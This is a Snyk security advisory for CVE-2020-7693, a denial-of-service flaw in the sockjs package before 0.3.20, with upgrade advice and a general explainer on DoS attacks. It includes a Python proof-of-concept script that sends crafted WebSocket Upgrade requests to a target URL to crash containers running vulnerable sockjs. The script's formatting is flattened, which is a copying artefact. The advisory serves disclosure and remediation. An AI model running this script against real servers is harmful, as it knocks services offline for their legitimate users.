Denial of Service (DoS) Affecting sockjs package, versions <0.3.20


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.91% (83rd percentile)

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  • Snyk IDSNYK-JS-SOCKJS-575261
  • published8 Jul 2020
  • disclosed3 Jul 2020
  • creditAndrew Snow

Introduced: 3 Jul 2020

CVE-2020-7693  (opens in a new tab)
CWE-400  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade sockjs to version 0.3.20 or higher.

Overview

sockjs is a JavaScript library (for browsers) that provides a WebSocket-like object.

Affected versions of this package are vulnerable to Denial of Service (DoS). Incorrect handling of Upgrade header with the value websocket leads in crashing of containers hosting sockjs apps.

PoC by Andrew Snow

import requests
import random
import argparse

def main(): print('SockJS 0.3.19 Denial of Service POC') print('For educational purposes only') print('Author: @andsnw') print('------------') parser = argparse.ArgumentParser(description='SockJS 0.3.19 Denial of Service POC') parser.add_argument('--target', type=str, help='URL of target running vulnerable sockjs') parsed = parser.parse_args() target = vars(parsed)['target'] if target == None: parser.print_help() exit()

Clean trailing /

if target.endswith('/'): target = target[:-1]

print ("Initiating at: %s" % target)

Create sockjs payload

payloads = [ ('%s/sockjs/' % target), ('%s/sockjs/598/' % target), ('%s/sockjs/598/8ko8gkpf/' % target), ]

Run 3 times with traversion

for url in payloads: payload_url = "%s%s" % (url, random.randint(1000000000000000000,9999999999999999999)) print('Requesting: %s' % payload_url) req = requests.get(url=payload_url, headers={ 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0', 'Cache-Control': 'max-age=0', 'Accept-Language': 'en-US,en;q=0.5', 'Connection': 'Upgrade', 'Upgrade': 'websocket', }) print("Status code: %s" % req.status_code)

print ("Complete! Check if the container has crashed")

if name == "main": main()

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

CVSS Scores

version 3.1